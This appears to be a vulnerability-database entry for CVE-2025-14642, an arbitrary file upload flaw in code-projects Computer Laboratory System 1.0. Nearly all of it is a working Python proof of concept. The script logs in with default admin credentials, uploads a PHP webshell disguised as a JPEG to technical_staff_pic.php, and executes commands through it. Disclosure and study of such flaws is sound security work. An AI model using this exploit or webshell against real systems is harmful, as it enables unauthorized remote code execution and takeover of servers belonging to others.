CVE-2025-14642: code-projects Computer Laboratory System 1.0 任意文件上传漏洞

import requests # CVE-2025-14642 PoC - Arbitrary File Upload in Computer Laboratory System 1.0 # Target: technical_staff_pic.php # This PoC demonstrates uploading a webshell to gain RCE target_url = "http://target.com/technical_staff_pic.php" login_url = "http://target.com/login.php" # Login with high privilege account session = requests.Session() login_data = { "username": "admin", "password": "admin123" } session.post(login_url, data=login_data) # Prepare malicious PHP webshell webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { "image": ("shell.php", webshell_content, "image/jpeg") } # Upload the malicious file response = session.post(target_url, files=files) # If successful, access the uploaded shell if response.status_code == 200: shell_url = "http://target.com/uploads/shell.php" print(f"Webshell uploaded at: {shell_url}") # Execute commands: ?cmd=whoami cmd_response = requests.get(f"{shell_url}?cmd=whoami") print(f"Command output: {cmd_response.text}")